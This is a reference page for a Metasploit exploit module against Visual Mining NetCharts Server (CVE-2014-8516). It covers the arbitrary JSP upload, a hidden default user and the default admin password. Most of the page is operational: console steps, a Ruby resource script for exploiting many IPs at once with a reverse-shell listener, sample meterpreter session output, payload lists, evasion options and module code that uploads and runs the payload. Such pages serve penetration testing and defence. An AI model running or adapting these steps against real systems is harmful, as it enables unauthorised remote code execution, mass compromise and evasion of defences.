Visual Mining NetCharts Server Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/http/visual_mining_netcharts_upload metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Visual Mining NetCharts Server Remote Code Execution
Module: exploit/multi/http/visual_mining_netcharts_upload
Source code: modules/exploits/multi/http/visual_mining_netcharts_upload.rb
Disclosure date: 2014-11-03
Last modification time: 2021-04-07 06:12:25 +0000
Supported architecture(s): java
Supported platform(s): Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8001, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-8516

This module exploits multiple vulnerabilities in Visual Mining NetCharts. First, a lack of input validation in the administration console permits arbitrary jsp code upload to locations accessible later through the web service. Authentication is typically required, however a 'hidden' user is available by default (and non-editable). This user, named 'Scheduler', can only login to the console after any modification in the user database (a user is added, admin password is changed etc). If the 'Scheduler' user isn't available valid credentials must be supplied. The default Admin password is Admin.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using visual_mining_netcharts_upload against a single host

Normally, you can use exploit/multi/http/visual_mining_netcharts_upload this way:

msf > use exploit/multi/http/visual_mining_netcharts_upload
msf exploit(visual_mining_netcharts_upload) > show targets
    ... a list of targets ...
msf exploit(visual_mining_netcharts_upload) > set TARGET target-id
msf exploit(visual_mining_netcharts_upload) > show options
    ... show and set options ...
msf exploit(visual_mining_netcharts_upload) > exploit

Using visual_mining_netcharts_upload against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your visual_mining_netcharts_upload will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/visual_mining_netcharts_upload")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage


Here is how the multi/http/visual_mining_netcharts_upload exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/visual_mining_netcharts_upload

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/http/visual_mining_netcharts_upload) > show info

       Name: Visual Mining NetCharts Server Remote Code Execution
     Module: exploit/multi/http/visual_mining_netcharts_upload
   Platform: Linux, Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-11-03

Provided by:
  sghctoma
  juan vazquez <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Visual Mining NetCharts Server 7.0

Check supported:
  Yes

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  HttpPassword                   no        The password to authenticate with
  HttpUsername                   no        The username to authenticate with
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         8001             yes       The target port (TCP)
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                          no        HTTP server virtual host

Payload information:

Description:
  This module exploits multiple vulnerabilities in Visual Mining 
  NetCharts. First, a lack of input validation in the administration 
  console permits arbitrary jsp code upload to locations accessible 
  later through the web service. Authentication is typically required, 
  however a 'hidden' user is available by default (and non-editable). 
  This user, named 'Scheduler', can only login to the console after 
  any modification in the user database (a user is added, admin 
  password is changed etc). If the 'Scheduler' user isn't available 
  valid credentials must be supplied. The default Admin password is 
  Admin.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-8516
  http://www.zerodayinitiative.com/advisories/ZDI-14-372

Module Options


This is a complete list of options available in the multi/http/visual_mining_netcharts_upload exploit:

msf6 exploit(multi/http/visual_mining_netcharts_upload) > show options

Module options (exploit/multi/http/visual_mining_netcharts_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password to authenticate with
   HttpUsername                   no        The username to authenticate with
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         8001             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Visual Mining NetCharts Server 7.0

Advanced Options


Here is a complete list of advanced options supported by the multi/http/visual_mining_netcharts_upload exploit:

msf6 exploit(multi/http/visual_mining_netcharts_upload) > show advanced

Module advanced options (exploit/multi/http/visual_mining_netcharts_upload):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/visual_mining_netcharts_upload module can exploit:

msf6 exploit(multi/http/visual_mining_netcharts_upload) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Visual Mining NetCharts Server 7.0

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/visual_mining_netcharts_upload exploit:

msf6 exploit(multi/http/visual_mining_netcharts_upload) > show payloads

Compatible Payloads
===================

   #  Name                                Disclosure Date  Rank    Check  Description
   -  ----                                ---------------  ----    -----  -----------
   0  payload/generic/custom                               normal  No     Custom Payload
   1  payload/generic/shell_bind_tcp                       normal  No     Generic Command Shell, Bind TCP Inline
   2  payload/generic/shell_reverse_tcp                    normal  No     Generic Command Shell, Reverse TCP Inline
   3  payload/java/jsp_shell_bind_tcp                      normal  No     Java JSP Command Shell, Bind TCP Inline
   4  payload/java/jsp_shell_reverse_tcp                   normal  No     Java JSP Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/visual_mining_netcharts_upload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/visual_mining_netcharts_upload) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - JSP payload upload failed


Here is a relevant code snippet related to the "<PEER> - JSP payload upload failed" error message:

80:	    print_status("Uploading JSP payload #{jsp_payload}...")
81:	    if upload(jsp_payload, payload.encoded)
82:	      print_good("JSP payload uploaded successfully")
83:	      register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}")
84:	    else
85:	      fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
86:	    end
87:	
88:	    print_status("Executing payload...")
89:	    execute(jsp_payload, 1)
90:	  end

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • sghctoma
  • juan vazquez

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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